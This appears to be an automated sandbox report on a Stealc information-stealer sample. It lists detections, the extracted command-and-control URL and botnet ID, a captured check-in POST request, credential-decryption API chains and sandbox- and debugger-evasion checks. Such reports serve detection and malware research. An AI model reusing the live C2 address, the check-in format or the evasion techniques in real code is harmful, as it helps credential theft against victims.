Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532868
MD5:	2e51f94d1dc93d7faaf5da2708fed2de
SHA1:	3e9f21e5c0154ea1eb6ad2829ec86bfdd8ef178c
SHA256:	cc6b3fcb986b487a1e9fdb5d0a0fc23ff1ea90cbc55733439c83898eb189773f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2E51F94D1DC93D7FAAF5DA2708FED2DE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2061630664.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6756	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.2e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T03:58:03.786676+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.2e0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/x	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php=	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpr	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/D	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/v	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpe	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpU	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpS	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpX	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 53%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_002EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_002E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_002E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_002E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_002F8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_002F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_002F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002EF68A FindFirstFileA,	0_2_002EF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002E16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 37 33 46 39 33 44 46 30 30 33 32 38 33 38 39 36 32 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"E1473F93DF003283896264------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"doma------GIEHJDHCBAEHJJJKKFID--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002E4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_002E4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 37 33 46 39 33 44 46 30 30 33 32 38 33 38 39 36 32 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"E1473F93DF003283896264------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"doma------GIEHJDHCBAEHJJJKKFID--

Source: file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/D
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpU
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpX
Source: file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpe
Source: file.exe, 00000000.00000002.2102958941.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpr
Source: file.exe, 00000000.00000002.2102958941.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/v
Source: file.exe, 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/x

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00678815	0_2_00678815
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B90A2	0_2_005B90A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904	0_2_00605904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B71E4	0_2_006B71E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006AD1FA	0_2_006AD1FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006BC23D	0_2_006BC23D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B3B7C	0_2_006B3B7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A9BF1	0_2_006A9BF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00551BF5	0_2_00551BF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B8C42	0_2_006B8C42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00661424	0_2_00661424
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006AEC3B	0_2_006AEC3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063C40F	0_2_0063C40F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058BD77	0_2_0058BD77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006BDD3F	0_2_006BDD3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B9E04	0_2_005B9E04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00577E37	0_2_00577E37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B06E3	0_2_006B06E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064C6F0	0_2_0064C6F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B569E	0_2_006B569E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00595757	0_2_00595757
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006BA7EE	0_2_006BA7EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D8F91	0_2_005D8F91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006AB78E	0_2_006AB78E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 002E45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: eyyunreg ZLIB complexity 0.9950084163877054

Source: file.exe, 00000000.00000003.2061630664.0000000005130000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_002F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_002F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\39S1QBU3.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1838592 > 1048576

Source: file.exe

Static PE information: Raw size of eyyunreg is bigger than: 0x100000 < 0x19ac00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.2e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;eyyunreg:EW;cayhnmlo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;eyyunreg:EW;cayhnmlo:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_002F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_002F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c11d0 should be: 0x1caa7f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: eyyunreg
Source: file.exe	Static PE information: section name: cayhnmlo
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_002FB035 push ecx; ret	0_2_002FB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079604E push ebx; mov dword ptr [esp], esi	0_2_00796095
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079604E push edx; mov dword ptr [esp], 7346EE00h	0_2_007960B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00745049 push edi; mov dword ptr [esp], 456197C7h	0_2_00745077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00678815 push edx; mov dword ptr [esp], edi	0_2_00678918
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00678815 push 3BA925FBh; mov dword ptr [esp], ecx	0_2_0067895A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007698E6 push 3A2EB958h; mov dword ptr [esp], ecx	0_2_0076994E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007698E6 push 57A71021h; mov dword ptr [esp], edx	0_2_0076997F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007698E6 push ecx; mov dword ptr [esp], esi	0_2_007699A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007790DD push edi; mov dword ptr [esp], eax	0_2_00779146
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076A0C2 push edx; mov dword ptr [esp], esp	0_2_0076A90A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007548CA push ebp; mov dword ptr [esp], ecx	0_2_007548EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B90A2 push 2D5091F5h; mov dword ptr [esp], esi	0_2_005B910F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B90A2 push 6959114Ah; mov dword ptr [esp], edx	0_2_005B9117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B90A2 push ebx; mov dword ptr [esp], 5E15BE84h	0_2_005B91B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B90A2 push ebx; mov dword ptr [esp], edx	0_2_005B91D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E517D push ecx; mov dword ptr [esp], eax	0_2_006E51A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E517D push 0AAB8B1Ch; mov dword ptr [esp], ecx	0_2_006E522B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071696F push ebp; mov dword ptr [esp], edx	0_2_007169B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0054597E push ebp; mov dword ptr [esp], ebx	0_2_00545AA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00780923 push ecx; mov dword ptr [esp], eax	0_2_00780B1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00780923 push 5185675Ah; mov dword ptr [esp], ecx	0_2_00780C35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push esi; mov dword ptr [esp], eax	0_2_00605917
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push eax; mov dword ptr [esp], edi	0_2_00605960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push ebp; mov dword ptr [esp], ecx	0_2_00605B19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push 6D91F3ABh; mov dword ptr [esp], ebx	0_2_00605B2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push eax; mov dword ptr [esp], ebx	0_2_00605B37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00605904 push 12AEFA80h; mov dword ptr [esp], ebp	0_2_00605B65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A1114 push 77707621h; mov dword ptr [esp], ebx	0_2_007A1165
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B71E4 push ebx; mov dword ptr [esp], ecx	0_2_006B7255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B71E4 push 0C5E3BC5h; mov dword ptr [esp], edx	0_2_006B730B

Source: file.exe

Static PE information: section name: eyyunreg entropy: 7.954155944105544

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_002F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13706

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54239B second address: 5423A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2D26 second address: 6C2D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679F2h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA430E679F8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
